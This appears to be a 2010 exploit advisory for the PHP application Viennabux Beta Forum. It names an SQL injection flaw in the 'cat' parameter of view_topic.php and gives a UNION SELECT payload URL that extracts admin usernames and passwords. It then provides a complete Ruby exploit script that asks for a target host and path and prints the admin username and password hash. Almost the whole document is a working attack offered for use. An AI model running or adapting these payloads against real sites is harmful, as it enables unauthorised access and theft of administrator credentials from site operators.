Viennabux Beta Forum SQL Injection

`----------------------------Information------------------------------------------------  
+Name : Viennabux Beta Forum <= SQL injection Vulnerability & SQL injection Exploit  
+Autor : Easy Laster  
+Date : 09.04.2010  
+Script : Viennabux Beta Forum  
+Download : -----------  
+Demo : www.viennabux.com  
+Price : --------  
+Language : PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project 4004-security-project.com  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101..  
  
---------------------------------------------------------------------------------------  
  
___ ___ ___ ___ _ _ _____ _ _   
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_  
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|  
|___| |___|   
  
  
----------------------------------------------------------------------------------------  
  
+Vulnerability : http://www.site.com/forum/view_topic.php?cat=  
  
+SQL Injection  
+Exploitable : http://www.site.com/forum/view_topic.php?cat=1+union+select+1,concat  
(aUsername,0x3a,apassword),3,4,5,6,7+from+admins  
  
----------------------------------------------------------------------------------------  
  
#!/usr/bin/ruby  
#4004-security-project.com  
#Welcome to my first ruby SQL injection exploit  
#Discovered and vulnerability by Easy Laster  
print "  
#########################################################  
# 4004-Security-Project #  
#########################################################  
# Viennabux Beta Forum Sql injection #  
# Exploit #  
# Using Host+Path+prefix #  
# www.demo.de /forum/ #  
# Easy Laster #  
#########################################################  
"  
require 'net/http'  
print "#########################################################"  
print "\nEnter host name (site.com)->"  
host=gets.chomp  
print "#########################################################"  
print "\nEnter script path (/forum/)->"  
path=gets.chomp  
print "\n#########################################################"  
begin  
dir = 'view_topic.php?cat=1+union+select+1,concat(0x23,0x23,0x23,0x23,0x23,aUsername,0x23,0x23,0x23,0x23,0x23),3,4,5,6,7+from+admins'  
http = Net::HTTP.new(host, 80)  
resp= http.get(path+dir)  
print "\nUsername -> "+(/#####(.+)#####/).match(resp.body)[1]  
dir = 'view_topic.php?cat=1+union+select+1,concat(0x23,0x23,0x23,0x23,0x23,apassword,0x23,0x23,0x23,0x23,0x23),3,4,5,6,7+from+admins'  
http = Net::HTTP.new(host, 80)  
resp= http.get(path+dir)  
print "\nPassword Hash -> "+(/#####(.+)#####/).match(resp.body)[1]  
print "\n#########################################################"  
rescue  
print "\nExploit failed"  
end  
  
`